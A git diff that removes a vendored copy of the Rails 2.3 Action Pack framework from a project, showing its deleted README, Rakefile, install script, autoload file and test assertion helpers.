-delete (CRUD for short) some sort of model part (often backed by a database)
-before choosing either to render a template or redirecting to another action.
-
-Action Pack implements these actions as public methods on Action Controllers
-and uses Action Views to implement the template rendering. Action Controllers
-are then responsible for handling all the actions relating to a certain part
-of an application. This grouping usually consists of actions for lists and for
-CRUDs revolving around a single (or a few) model objects. So ContactsController
-would be responsible for listing contacts, creating, deleting, and updating
-contacts. A WeblogController could be responsible for both posts and comments.
-
-Action View templates are written using embedded Ruby in tags mingled in with
-the HTML. To avoid cluttering the templates with code, a bunch of helper
-classes provide common behavior for forms, dates, and strings. And it's easy
-to add specific helpers to keep the separation as the application evolves.
-
-Note: Some of the features, such as scaffolding and form building, are tied to
-ActiveRecord[http://activerecord.rubyonrails.org] (an object-relational
-mapping package), but that doesn't mean that Action Pack depends on Active
-Record. Action Pack is an independent package that can be used with any sort
-of backend (Instiki[http://www.instiki.org], which is based on an older version
-of Action Pack, used Madeleine for example). Read more about the role Action
-Pack can play when used together with Active Record on
-http://www.rubyonrails.org.
-
-A short rundown of the major features:
-
-* Actions grouped in controller as methods instead of separate command objects
-  and can therefore share helper methods
-
-    CustomersController < ActionController::Base
-      def show
-        @customer = find_customer
-      end
-      
-      def update
-        @customer = find_customer
-        @customer.attributes = params[:customer]
-        @customer.save ? 
-          redirect_to(:action => "show") :
-          render(:action => "edit")
-      end
-      
-      private
-        def find_customer() Customer.find(params[:id]) end
-    end
-
-  {Learn more}[link:classes/ActionController/Base.html]
-
-
-* Embedded Ruby for templates (no new "easy" template language)
-
-    <% for post in @posts %>
-      Title: <%= post.title %>
-    <% end %>
-
-    All post titles: <%= @posts.collect{ |p| p.title }.join ", " %>
-
-    <% unless @person.is_client? %>
-      Not for clients to see...
-    <% end %>
-  
-  {Learn more}[link:classes/ActionView.html]
-
-
-* Builder-based templates (great for XML content, like RSS)
-
-    xml.rss("version" => "2.0") do
-      xml.channel do
-        xml.title(@feed_title)
-        xml.link(@url)
-        xml.description "Basecamp: Recent items"
-        xml.language "en-us"
-        xml.ttl "40"
-
-        for item in @recent_items
-          xml.item do
-            xml.title(item_title(item))
-            xml.description(item_description(item))
-            xml.pubDate(item_pubDate(item))
-            xml.guid(@recent_items.url(item))
-            xml.link(@recent_items.url(item))
-          end
-        end
-      end
-    end
-
-  {Learn more}[link:classes/ActionView/Base.html]
-
-
-* Filters for pre and post processing of the response (as methods, procs, and classes)
-
-    class WeblogController < ActionController::Base
-      before_filter :authenticate, :cache, :audit
-      after_filter { |c| c.response.body = Gzip::compress(c.response.body) }
-      after_filter LocalizeFilter
-      
-      def index
-        # Before this action is run, the user will be authenticated, the cache
-        # will be examined to see if a valid copy of the results already
-        # exists, and the action will be logged for auditing.
-        
-        # After this action has run, the output will first be localized then 
-        # compressed to minimize bandwidth usage
-      end
-      
-      private
-        def authenticate
-          # Implement the filter with full access to both request and response
-        end
-    end
-  
-  {Learn more}[link:classes/ActionController/Filters/ClassMethods.html]
-  
-
-* Helpers for forms, dates, action links, and text
-
-    <%= text_field "post", "title", "size" => 30 %>
-    <%= html_date_select(Date.today) %>
-    <%= link_to "New post", :controller => "post", :action => "new" %>
-    <%= truncate(post.title, :length => 25) %>
- 
-  {Learn more}[link:classes/ActionView/Helpers.html]
-
-
-* Layout sharing for template reuse (think simple version of Struts 
-  Tiles[http://jakarta.apache.org/struts/userGuide/dev_tiles.html])
-
-    class WeblogController < ActionController::Base
-      layout "weblog_layout"
-      
-      def hello_world
-      end
-    end
-
-    Layout file (called weblog_layout):
-      <html><body><%= yield %></body></html>
-    
-    Template for hello_world action:
-      <h1>Hello world</h1>
-    
-    Result of running hello_world action:
-      <html><body><h1>Hello world</h1></body></html>
-
-  {Learn more}[link:classes/ActionController/Layout/ClassMethods.html]
-
-
-* Routing makes pretty urls incredibly easy
-
-    map.connect 'clients/:client_name/:project_name/:controller/:action'
-
-    Accessing /clients/37signals/basecamp/project/dash calls ProjectController#dash with
-    { "client_name" => "37signals", "project_name" => "basecamp" }.
-    
-    From that URL you can redirect providing new parameters in a number of ways:
-    
-    redirect_to :action => "edit"
-    # /clients/37signals/basecamp/project/edit
-
-    redirect_to :client_name => "nextangle", :project_name => "rails"
-    # /clients/nextangle/rails/project/dash
-
-  {Learn more}[link:classes/ActionController/Base.html]
-
-
-* JavaScript and Ajax integration
-
-    link_to_function "Greeting", "alert('Hello world!')"
-    link_to_remote "Delete this post", :update => "posts", 
-                   :url => { :action => "destroy", :id => post.id }
-  
-  {Learn more}[link:classes/ActionView/Helpers/JavaScriptHelper.html]
-
-
-* Easy testing of both controller and rendered template through ActionController::TestCase
-
-    class LoginControllerTest < ActionController::TestCase
-      def test_failing_authenticate
-        process :authenticate, :user_name => "nop", :password => ""
-        assert flash.has_key?(:alert)
-        assert_redirected_to :action => "index"
-      end
-    end
-
-  {Learn more}[link:classes/ActionController/TestCase.html]
-
-
-* Automated benchmarking and integrated logging
-
-    Processing WeblogController#index (for 127.0.0.1 at Fri May 28 00:41:55)
-    Parameters: {"action"=>"index", "controller"=>"weblog"}
-    Rendering weblog/index (200 OK)
-    Completed in 0.029281 (34 reqs/sec)
-
-    If Active Record is used as the model, you'll have the database debugging
-    as well:
-
-    Processing PostsController#create (for 127.0.0.1 at Sat Jun 19 14:04:23)
-    Params: {"controller"=>"posts", "action"=>"create",
-             "post"=>{"title"=>"this is good"} }
-    SQL (0.000627) INSERT INTO posts (title) VALUES('this is good')
-    Redirected to http://example.com/posts/5
-    Completed in 0.221764 (4 reqs/sec) | DB: 0.059920 (27%)
-
-    You specify a logger through a class method, such as:
-
-    ActionController::Base.logger = Logger.new("Application Log")
-    ActionController::Base.logger = Log4r::Logger.new("Application Log")
-
-
-* Caching at three levels of granularity (page, action, fragment)
-
-    class WeblogController < ActionController::Base
-      caches_page :show
-      caches_action :account
-      
-      def show
-        # the output of the method will be cached as 
-        # ActionController::Base.page_cache_directory + "/weblog/show/n.html"
-        # and the web server will pick it up without even hitting Rails
-      end
-      
-      def account
-        # the output of the method will be cached in the fragment store
-        # but Rails is hit to retrieve it, so filters are run
-      end
-      
-      def update
-        List.update(params[:list][:id], params[:list])
-        expire_page   :action => "show", :id => params[:list][:id]
-        expire_action :action => "account"
-        redirect_to   :action => "show", :id => params[:list][:id]
-      end
-    end
-
-  {Learn more}[link:classes/ActionController/Caching.html]
-
-
-* Powerful debugging mechanism for local requests
-
-    All exceptions raised on actions performed on the request of a local user
-    will be presented with a tailored debugging screen that includes exception
-    message, stack trace, request parameters, session contents, and the
-    half-finished response.
-
-  {Learn more}[link:classes/ActionController/Rescue.html]
-
-
-* Scaffolding for Active Record model objects
-
-    class AccountController < ActionController::Base
-      scaffold :account
-    end
-    
-    The AccountController now has the full CRUD range of actions and default
-    templates: list, show, destroy, new, create, edit, update
-    
-  {Learn more}[link:classes/ActionController/Scaffolding/ClassMethods.html]
-
-
-* Form building for Active Record model objects
-
-    The post object has a title (varchar), content (text), and 
-    written_on (date)
-
-    <%= form "post" %>
-    
-    ...will generate something like (the selects will have more options, of
-    course):
-    
-    <form action="create" method="POST">
-      <p>
-        <b>Title:</b><br/> 
-        <input type="text" name="post[title]" value="<%= @post.title %>" />
-      </p>
-      <p>
-        <b>Content:</b><br/>
-        <textarea name="post[content]"><%= @post.title %></textarea>
-      </p>
-      <p>
-        <b>Written on:</b><br/>
-        <select name='post[written_on(3i)]'><option>18</option></select>
-        <select name='post[written_on(2i)]'><option value='7'>July</option></select>
-        <select name='post[written_on(1i)]'><option>2004</option></select>
-      </p>
-
-      <input type="submit" value="Create">
-    </form>
-
-    This form generates a params[:post] array that can be used directly in a save action:
-    
-    class WeblogController < ActionController::Base
-      def create
-        post = Post.create(params[:post])
-        redirect_to :action => "show", :id => post.id
-      end
-    end
-
-  {Learn more}[link:classes/ActionView/Helpers/ActiveRecordHelper.html]
-
-
-* Runs on top of WEBrick, Mongrel, CGI, FCGI, and mod_ruby
-
-
-== Simple example (from outside of Rails)
-
-This example will implement a simple weblog system using inline templates and
-an Active Record model. So let's build that WeblogController with just a few
-methods:
-
-  require 'action_controller'
-  require 'post'
-
-  class WeblogController < ActionController::Base
-    layout "weblog/layout"
-  
-    def index
-      @posts = Post.find(:all)
-    end
-    
-    def show
-      @post = Post.find(params[:id])
-    end
-    
-    def new
-      @post = Post.new
-    end
-    
-    def create
-      @post = Post.create(params[:post])
-      redirect_to :action => "show", :id => @post.id
-    end
-  end
-
-  WeblogController::Base.view_paths = [ File.dirname(__FILE__) ]
-  WeblogController.process_cgi if $0 == __FILE__
-
-The last two lines are responsible for telling ActionController where the
-template files are located and actually running the controller on a new
-request from the web-server (like to be Apache).
-
-And the templates look like this:
-
-  weblog/layout.html.erb:
-    <html><body>
-    <%= yield %>
-    </body></html>
-
-  weblog/index.html.erb:
-    <% for post in @posts %>
-      <p><%= link_to(post.title, :action => "show", :id => post.id) %></p>
-    <% end %>
-
-  weblog/show.html.erb:
-    <p>
-      <b><%= @post.title %></b><br/>
-      <b><%= @post.content %></b>
-    </p>
-
-  weblog/new.html.erb:
-    <%= form "post" %>
-  
-This simple setup will list all the posts in the system on the index page,
-which is called by accessing /weblog/. It uses the form builder for the Active
-Record model to make the new screen, which in turn hands everything over to
-the create action (that's the default target for the form builder when given a
-new model). After creating the post, it'll redirect to the show page using
-an URL such as /weblog/5 (where 5 is the id of the post).
-
-
-== Download
-
-The latest version of Action Pack can be found at
-
-* http://rubyforge.org/project/showfiles.php?group_id=249
-
-Documentation can be found at 
-
-* http://api.rubyonrails.com
-
-
-== Installation
-
-You can install Action Pack with the following command.
-
-  % [sudo] ruby install.rb
-
-from its distribution directory.
-
-
-== License
-
-Action Pack is released under the MIT license.
-
-
-== Support
-
-The Action Pack homepage is http://www.rubyonrails.org. You can find
-the Action Pack RubyForge page at http://rubyforge.org/projects/actionpack.
-And as Jim from Rake says:
-
-   Feel free to submit commits or feature requests.  If you send a patch,
-   remember to update the corresponding unit tests.  If fact, I prefer
-   new feature to be submitted in the form of new unit tests.
diff --git a/vendor/rails/actionpack/RUNNING_UNIT_TESTS b/vendor/rails/actionpack/RUNNING_UNIT_TESTS
deleted file mode 100644
index 16b11987..00000000
--- a/vendor/rails/actionpack/RUNNING_UNIT_TESTS
+++ /dev/null
@@ -1,24 +0,0 @@
-== Running with Rake
-
-The easiest way to run the unit tests is through Rake. The default task runs
-the entire test suite for all classes. For more information, checkout the 
-full array of rake tasks with "rake -T"
-
-Rake can be found at http://rake.rubyforge.org
-
-== Running by hand
-
-If you only want to run a single test suite, or don't want to bother with Rake,
-you can do so with something like:
-
-   ruby controller/base_tests.rb
-
-== Dependency on ActiveRecord and database setup
-
-Test cases in the test/controller/active_record/ directory depend on having
-activerecord and sqlite installed. If ActiveRecord is not in 
-actionpack/../activerecord directory, or the sqlite rubygem is not installed,
-these tests are skipped.
-
-Other tests are runnable from a fresh copy of actionpack without any configuration.
-
diff --git a/vendor/rails/actionpack/Rakefile b/vendor/rails/actionpack/Rakefile
deleted file mode 100644
index ce4c41aa..00000000
--- a/vendor/rails/actionpack/Rakefile
+++ /dev/null
@@ -1,158 +0,0 @@
-require 'rubygems'
-require 'rake'
-require 'rake/testtask'
-require 'rdoc/task'
-require 'rake/packagetask'
-require 'rubygems/package_task'
-require File.join(File.dirname(__FILE__), 'lib', 'action_pack', 'version')
-
-PKG_BUILD     = ENV['PKG_BUILD'] ? '.' + ENV['PKG_BUILD'] : ''
-PKG_NAME      = 'actionpack'
-PKG_VERSION   = ActionPack::VERSION::STRING + PKG_BUILD
-PKG_FILE_NAME = "#{PKG_NAME}-#{PKG_VERSION}"
-
-RELEASE_NAME  = "REL #{PKG_VERSION}"
-
-RUBY_FORGE_PROJECT = "actionpack"
-RUBY_FORGE_USER    = "webster132"
-
-desc "Default Task"
-task :default => [ :test ]
-
-# Run the unit tests
-
-desc "Run all unit tests"
-task :test => [:test_action_pack, :test_active_record_integration]
-
-Rake::TestTask.new(:test_action_pack) do |t|
-  t.libs << "test"
-
-  # make sure we include the tests in alphabetical order as on some systems
-  # this will not happen automatically and the tests (as a whole) will error
-  t.test_files = Dir.glob( "test/[cftv]*/**/*_test.rb" ).sort
-
-  t.verbose = true
-  #t.warning = true
-end
-
-desc 'ActiveRecord Integration Tests'
-Rake::TestTask.new(:test_active_record_integration) do |t|
-  t.libs << "test"
-  t.test_files = Dir.glob("test/activerecord/*_test.rb")
-  t.verbose = true
-end
-
-
-# Genereate the RDoc documentation
-
-RDoc::Task.new { |rdoc|
-  rdoc.rdoc_dir = 'doc'
-  rdoc.title    = "Action Pack -- On rails from request to response"
-  rdoc.options << '--line-numbers' << '--inline-source'
-  rdoc.options << '--charset' << 'utf-8'
-  rdoc.template = ENV['template'] ? "#{ENV['template']}.rb" : '../doc/template/horo'
-  if ENV['DOC_FILES'] 
-    rdoc.rdoc_files.include(ENV['DOC_FILES'].split(/,\s*/))
-  else
-    rdoc.rdoc_files.include('README', 'RUNNING_UNIT_TESTS', 'CHANGELOG')
-    rdoc.rdoc_files.include(Dir['lib/**/*.rb'] -
-                            Dir['lib/*/vendor/**/*.rb'])
-    rdoc.rdoc_files.exclude('lib/actionpack.rb')
-  end
-}
-
-# Create compressed packages
-dist_dirs = [ "lib", "test" ]
-
-spec = Gem::Specification.new do |s|
-  s.platform = Gem::Platform::RUBY
-  s.name = PKG_NAME
-  s.version = PKG_VERSION
-  s.summary = "Web-flow and rendering framework putting the VC in MVC."
-  s.description = %q{Eases web-request routing, handling, and response as a half-way front, half-way page controller. Implemented with specific emphasis on enabling easy unit/integration testing that doesn't require a browser.} #'
-
-  s.author = "David Heinemeier Hansson"
-  s.email = "david@loudthinking.com"
-  s.rubyforge_project = "actionpack"
-  s.homepage = "http://www.rubyonrails.org"
-
-  s.requirements << 'none'
-
-  s.add_dependency('activesupport', '= 2.3.14' + PKG_BUILD)
-  s.add_dependency('rack', '~> 1.1.0')
-
-  s.require_path = 'lib'
-
-  s.files = [ "Rakefile", "install.rb", "README", "RUNNING_UNIT_TESTS", "CHANGELOG", "MIT-LICENSE" ]
-  dist_dirs.each do |dir|
-    s.files = s.files + Dir.glob( "#{dir}/**/*" ).delete_if { |item| item.include?( "\.svn" ) }
-  end
-end
-  
-Gem::PackageTask.new(spec) do |p|
-  p.gem_spec = spec
-  p.need_tar = true
-  p.need_zip = true
-end
-
-task :lines do
-  lines, codelines, total_lines, total_codelines = 0, 0, 0, 0
-
-  for file_name in FileList["lib/**/*.rb"]
-    next if file_name =~ /vendor/
-    f = File.open(file_name)
-
-    while line = f.gets
-      lines += 1
-      next if line =~ /^\s*$/
-      next if line =~ /^\s*#/
-      codelines += 1
-    end
-    puts "L: #{sprintf("%4d", lines)}, LOC #{sprintf("%4d", codelines)} | #{file_name}"
-    
-    total_lines     += lines
-    total_codelines += codelines
-    
-    lines, codelines = 0, 0
-  end
-
-  puts "Total: Lines #{total_lines}, LOC #{total_codelines}"
-end
-
-# Publishing ------------------------------------------------------
-
-task :update_scriptaculous do
-  for js in %w( controls dragdrop effects )
-    system("svn export --force http://dev.rubyonrails.org/svn/rails/spinoffs/scriptaculous/src/#{js}.js #{File.dirname(__FILE__)}/lib/action_view/helpers/javascripts/#{js}.js")
-  end
-end
-
-desc "Updates actionpack to the latest version of the javascript spinoffs"
-task :update_js => [ :update_scriptaculous ]
-
-# Publishing ------------------------------------------------------
-
-desc "Publish the API documentation"
-task :pgem => [:package] do 
-  require 'rake/contrib/sshpublisher'
-  Rake::SshFilePublisher.new("gems.rubyonrails.org", "/u/sites/gems/gems", "pkg", "#{PKG_FILE_NAME}.gem").upload
-  `ssh gems.rubyonrails.org '/u/sites/gems/gemupdate.sh'`
-end
-
-desc "Publish the API documentation"
-task :pdoc => [:rdoc] do 
-  require 'rake/contrib/sshpublisher'
-  Rake::SshDirPublisher.new("wrath.rubyonrails.org", "public_html/ap", "doc").upload
-end
-
-desc "Publish the release files to RubyForge."
-task :release => [ :package ] do
-  require 'rubyforge'
-  require 'rake/contrib/rubyforgepublisher'
-
-  packages = %w( gem tgz zip ).collect{ |ext| "pkg/#{PKG_NAME}-#{PKG_VERSION}.#{ext}" }
-
-  rubyforge = RubyForge.new
-  rubyforge.login
-  rubyforge.add_release(PKG_NAME, PKG_NAME, "REL #{PKG_VERSION}", *packages)
-end
diff --git a/vendor/rails/actionpack/install.rb b/vendor/rails/actionpack/install.rb
deleted file mode 100644
index d3b83c3b..00000000
--- a/vendor/rails/actionpack/install.rb
+++ /dev/null
@@ -1,30 +0,0 @@
-require 'rbconfig'
-require 'find'
-require 'ftools'
-
-include Config
-
-# this was adapted from rdoc's install.rb by way of Log4r
-
-$sitedir = CONFIG["sitelibdir"]
-unless $sitedir
-  version = CONFIG["MAJOR"] + "." + CONFIG["MINOR"]
-  $libdir = File.join(CONFIG["libdir"], "ruby", version)
-  $sitedir = $:.find {|x| x =~ /site_ruby/ }
-  if !$sitedir
-    $sitedir = File.join($libdir, "site_ruby")
-  elsif $sitedir !~ Regexp.quote(version)
-    $sitedir = File.join($sitedir, version)
-  end
-end
-
-# the actual gruntwork
-Dir.chdir("lib")
-
-Find.find("action_controller", "action_controller.rb", "action_view", "action_view.rb") { |f|
-  if f[-3..-1] == ".rb"
-    File::install(f, File.join($sitedir, *f.split(/\//)), 0644, true)
-  else
-    File::makedirs(File.join($sitedir, *f.split(/\//)))
-  end
-}
\ No newline at end of file
diff --git a/vendor/rails/actionpack/lib/action_controller.rb b/vendor/rails/actionpack/lib/action_controller.rb
deleted file mode 100644
index 476a7ffc..00000000
--- a/vendor/rails/actionpack/lib/action_controller.rb
+++ /dev/null
@@ -1,113 +0,0 @@
-#--
-# Copyright (c) 2004-2010 David Heinemeier Hansson
-#
-# Permission is hereby granted, free of charge, to any person obtaining
-# a copy of this software and associated documentation files (the
-# "Software"), to deal in the Software without restriction, including
-# without limitation the rights to use, copy, modify, merge, publish,
-# distribute, sublicense, and/or sell copies of the Software, and to
-# permit persons to whom the Software is furnished to do so, subject to
-# the following conditions:
-#
-# The above copyright notice and this permission notice shall be
-# included in all copies or substantial portions of the Software.
-#
-# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
-# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
-# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
-# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
-# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
-# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
-# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
-#++
-
-begin
-  require 'active_support'
-rescue LoadError
-  activesupport_path = "#{File.dirname(__FILE__)}/../../activesupport/lib"
-  if File.directory?(activesupport_path)
-    $:.unshift activesupport_path
-    require 'active_support'
-  end
-end
-
-gem 'rack', '>= 1.1.0'
-require 'rack'
-require 'action_controller/cgi_ext'
-
-module ActionController
-  # TODO: Review explicit to see if they will automatically be handled by
-  # the initilizer if they are really needed.
-  def self.load_all!
-    [Base, CGIHandler, CgiRequest, Request, Response, Http::Headers, UrlRewriter, UrlWriter]
-  end
-
-  autoload :Base, 'action_controller/base'
-  autoload :Benchmarking, 'action_controller/benchmarking'
-  autoload :Caching, 'action_controller/caching'
-  autoload :Cookies, 'action_controller/cookies'
-  autoload :Dispatcher, 'action_controller/dispatcher'
-  autoload :Failsafe, 'action_controller/failsafe'
-  autoload :Filters, 'action_controller/filters'
-  autoload :Flash, 'action_controller/flash'
-  autoload :Helpers, 'action_controller/helpers'
-  autoload :HttpAuthentication, 'action_controller/http_authentication'
-  autoload :Integration, 'action_controller/integration'
-  autoload :IntegrationTest, 'action_controller/integration'
-  autoload :Layout, 'action_controller/layout'
-  autoload :MiddlewareStack, 'action_controller/middleware_stack'
-  autoload :MimeResponds, 'action_controller/mime_responds'
-  autoload :ParamsParser, 'action_controller/params_parser'
-  autoload :PolymorphicRoutes, 'action_controller/polymorphic_routes'
-  autoload :RecordIdentifier, 'action_controller/record_identifier'
-  autoload :Reloader, 'action_controller/reloader'
-  autoload :Request, 'action_controller/request'
-  autoload :RequestForgeryProtection, 'action_controller/request_forgery_protection'
-  autoload :Rescue, 'action_controller/rescue'
-  autoload :Resources, 'action_controller/resources'
-  autoload :Response, 'action_controller/response'
-  autoload :RewindableInput, 'action_controller/rewindable_input'
-  autoload :Routing, 'action_controller/routing'
-  autoload :SessionManagement, 'action_controller/session_management'
-  autoload :StatusCodes, 'action_controller/status_codes'
-  autoload :Streaming, 'action_controller/streaming'
-  autoload :StringCoercion, 'action_controller/string_coercion'
-  autoload :TestCase, 'action_controller/test_case'
-  autoload :TestProcess, 'action_controller/test_process'
-  autoload :Translation, 'action_controller/translation'
-  autoload :UploadedFile, 'action_controller/uploaded_file'
-  autoload :UploadedStringIO, 'action_controller/uploaded_file'
-  autoload :UploadedTempfile, 'action_controller/uploaded_file'
-  autoload :UrlRewriter, 'action_controller/url_rewriter'
-  autoload :UrlWriter, 'action_controller/url_rewriter'
-  autoload :Verification, 'action_controller/verification'
-
-  module Assertions
-    autoload :DomAssertions, 'action_controller/assertions/dom_assertions'
-    autoload :ModelAssertions, 'action_controller/assertions/model_assertions'
-    autoload :ResponseAssertions, 'action_controller/assertions/response_assertions'
-    autoload :RoutingAssertions, 'action_controller/assertions/routing_assertions'
-    autoload :SelectorAssertions, 'action_controller/assertions/selector_assertions'
-    autoload :TagAssertions, 'action_controller/assertions/tag_assertions'
-  end
-
-  module Http
-    autoload :Headers, 'action_controller/headers'
-  end
-
-  module Session
-    autoload :AbstractStore, 'action_controller/session/abstract_store'
-    autoload :CookieStore, 'action_controller/session/cookie_store'
-    autoload :MemCacheStore, 'action_controller/session/mem_cache_store'
-  end
-
-  # DEPRECATE: Remove CGI support
-  autoload :CgiRequest, 'action_controller/cgi_process'
-  autoload :CGIHandler, 'action_controller/cgi_process'
-end
-
-autoload :Mime, 'action_controller/mime_type'
-
-autoload :HTML, 'action_controller/vendor/html-scanner'
-
-require 'action_view'
diff --git a/vendor/rails/actionpack/lib/action_controller/assertions/dom_assertions.rb b/vendor/rails/actionpack/lib/action_controller/assertions/dom_assertions.rb
deleted file mode 100644
index 8dd3f637..00000000
--- a/vendor/rails/actionpack/lib/action_controller/assertions/dom_assertions.rb
+++ /dev/null
@@ -1,55 +0,0 @@
-module ActionController
-  module Assertions
-    module DomAssertions
-      def self.strip_whitespace!(nodes)
-        nodes.reject! do |node|
-          if node.is_a?(HTML::Text)
-            node.content.strip!
-            node.content.empty?
-          else
-            strip_whitespace! node.children
-            false
-          end
-        end
-      end
-      
-      # Test two HTML strings for equivalency (e.g., identical up to reordering of attributes)
-      #
-      # ==== Examples
-      #
-      #   # assert that the referenced method generates the appropriate HTML string
-      #   assert_dom_equal '<a href="http://www.example.com">Apples</a>', link_to("Apples", "http://www.example.com")
-      #
-      def assert_dom_equal(expected, actual, message = "")
-        clean_backtrace do
-          expected_dom = HTML::Document.new(expected).root
-          actual_dom   = HTML::Document.new(actual).root
-          DomAssertions.strip_whitespace!(expected_dom.children)
-          DomAssertions.strip_whitespace!(actual_dom.children)
-
-          full_message = build_message(message, "<?> expected but was\n<?>.", expected_dom.to_s, actual_dom.to_s)
-          assert_block(full_message) { expected_dom == actual_dom }
-        end
-      end
-      
-      # The negated form of +assert_dom_equal+.
-      #
-      # ==== Examples
-      #
-      #   # assert that the referenced method does not generate the specified HTML string
-      #   assert_dom_not_equal '<a href="http://www.example.com">Apples</a>', link_to("Oranges", "http://www.example.com")
-      #
-      def assert_dom_not_equal(expected, actual, message = "")
-        clean_backtrace do
-          expected_dom = HTML::Document.new(expected).root
-          actual_dom   = HTML::Document.new(actual).root
-          DomAssertions.strip_whitespace!(expected_dom.children)
-          DomAssertions.strip_whitespace!(actual_dom.children)
-
-          full_message = build_message(message, "<?> expected to be != to\n<?>.", expected_dom.to_s, actual_dom.to_s)
-          assert_block(full_message) { expected_dom != actual_dom }
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_controller/assertions/model_assertions.rb b/vendor/rails/actionpack/lib/action_controller/assertions/model_assertions.rb
deleted file mode 100644
index 3a7b39b1..00000000
--- a/vendor/rails/actionpack/lib/action_controller/assertions/model_assertions.rb
+++ /dev/null
@@ -1,21 +0,0 @@
-module ActionController
-  module Assertions
-    module ModelAssertions
-      # Ensures that the passed record is valid by Active Record standards and
-      # returns any error messages if it is not.
-      #
-      # ==== Examples
-      #
-      #   # assert that a newly created record is valid
-      #   model = Model.new
-      #   assert_valid(model)
-      #
-      def assert_valid(record)
-        ::ActiveSupport::Deprecation.warn("assert_valid is deprecated. Use assert record.valid? instead", caller)
-        clean_backtrace do
-          assert record.valid?, record.errors.full_messages.join("\n")
-        end
-      end
-    end
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_controller/assertions/response_assertions.rb b/vendor/rails/actionpack/lib/action_controller/assertions/response_assertions.rb
deleted file mode 100644
index f29eefca..00000000
--- a/vendor/rails/actionpack/lib/action_controller/assertions/response_assertions.rb
+++ /dev/null
@@ -1,169 +0,0 @@
-module ActionController
-  module Assertions
-    # A small suite of assertions that test responses from Rails applications.
-    module ResponseAssertions
-      # Asserts that the response is one of the following types:
-      #
-      # * <tt>:success</tt>   - Status code was 200
-      # * <tt>:redirect</tt>  - Status code was in the 300-399 range
-      # * <tt>:missing</tt>   - Status code was 404
-      # * <tt>:error</tt>     - Status code was in the 500-599 range
-      #
-      # You can also pass an explicit status number like assert_response(501)
-      # or its symbolic equivalent assert_response(:not_implemented).
-      # See ActionController::StatusCodes for a full list.
-      #
-      # ==== Examples
-      #
-      #   # assert that the response was a redirection
-      #   assert_response :redirect
-      #
-      #   # assert that the response code was status code 401 (unauthorized)
-      #   assert_response 401
-      #
-      def assert_response(type, message = nil)
-        clean_backtrace do
-          if [ :success, :missing, :redirect, :error ].include?(type) && @response.send("#{type}?")
-            assert_block("") { true } # to count the assertion
-          elsif type.is_a?(Fixnum) && @response.response_code == type
-            assert_block("") { true } # to count the assertion
-          elsif type.is_a?(Symbol) && @response.response_code == ActionController::StatusCodes::SYMBOL_TO_STATUS_CODE[type]
-            assert_block("") { true } # to count the assertion
-          else
-            if @response.error?
-              exception = @response.template.instance_variable_get(:@exception)
-              exception_message = exception && exception.message
-              assert_block(build_message(message, "Expected response to be a <?>, but was <?>\n<?>", type, @response.response_code, exception_message.to_s)) { false }
-            else
-              assert_block(build_message(message, "Expected response to be a <?>, but was <?>", type, @response.response_code)) { false }
-            end
-          end
-        end
-      end
-
-      # Assert that the redirection options passed in match those of the redirect called in the latest action.
-      # This match can be partial, such that assert_redirected_to(:controller => "weblog") will also
-      # match the redirection of redirect_to(:controller => "weblog", :action => "show") and so on.
-      #
-      # ==== Examples
-      #
-      #   # assert that the redirection was to the "index" action on the WeblogController
-      #   assert_redirected_to :controller => "weblog", :action => "index"
-      #
-      #   # assert that the redirection was to the named route login_url
-      #   assert_redirected_to login_url
-      #
-      #   # assert that the redirection was to the url for @customer
-      #   assert_redirected_to @customer
-      #
-      def assert_redirected_to(options = {}, message=nil)
-        clean_backtrace do
-          assert_response(:redirect, message)
-          return true if options == @response.redirected_to
-
-          # Support partial arguments for hash redirections
-          if options.is_a?(Hash) && @response.redirected_to.is_a?(Hash)
-            if options.all? {|(key, value)| @response.redirected_to[key] == value}
-              callstack = caller.dup
-              callstack.slice!(0, 2)
-              ::ActiveSupport::Deprecation.warn("Using assert_redirected_to with partial hash arguments is deprecated. Specify the full set arguments instead", callstack)
-              return true
-            end
-          end
-
-          redirected_to_after_normalisation = normalize_argument_to_redirection(@response.redirected_to)
-          options_after_normalisation       = normalize_argument_to_redirection(options)
-
-          if redirected_to_after_normalisation != options_after_normalisation
-            flunk "Expected response to be a redirect to <#{options_after_normalisation}> but was a redirect to <#{redirected_to_after_normalisation}>"
-          end
-        end
-      end
-
-      # Asserts that the request was rendered with the appropriate template file or partials
-      #
-      # ==== Examples
-      #
-      #   # assert that the "new" view template was rendered
-      #   assert_template "new"
-      #
-      #   # assert that the "new" view template was rendered with Symbol
-      #   assert_template :new
-      #
-      #   # assert that the "_customer" partial was rendered twice
-      #   assert_template :partial => '_customer', :count => 2
-      #
-      #   # assert that no partials were rendered
-      #   assert_template :partial => false
-      #
-      def assert_template(options = {}, message = nil)
-        clean_backtrace do
-          case options
-           when NilClass, String, Symbol
-            rendered = @response.rendered[:template].to_s
-            msg = build_message(message,
-                    "expecting <?> but rendering with <?>",
-                    options, rendered)
-            assert_block(msg) do
-              if options.nil?
-                @response.rendered[:template].blank?
-              else
-                rendered.to_s.match(options.to_s)
-              end
-            end
-          when Hash
-            if expected_partial = options[:partial]
-              partials = @response.rendered[:partials]
-              if expected_count = options[:count]
-                found = partials.detect { |p, _| p.to_s.match(expected_partial) }
-                actual_count = found.nil? ? 0 : found.second
-                msg = build_message(message,
-                        "expecting ? to be rendered ? time(s) but rendered ? time(s)",
-                         expected_partial, expected_count, actual_count)
-                assert(actual_count == expected_count.to_i, msg)
-              else
-                msg = build_message(message,
-                        "expecting partial <?> but action rendered <?>",
-                        options[:partial], partials.keys)
-                assert(partials.keys.any? { |p| p.to_s.match(expected_partial) }, msg)
-              end
-            else
-              assert @response.rendered[:partials].empty?,
-                "Expected no partials to be rendered"
-            end
-          else
-            raise ArgumentError  
-          end
-        end
-      end
-
-      private
-        # Proxy to to_param if the object will respond to it.
-        def parameterize(value)
-          value.respond_to?(:to_param) ? value.to_param : value
-        end
-
-        def normalize_argument_to_redirection(fragment)
-          case fragment
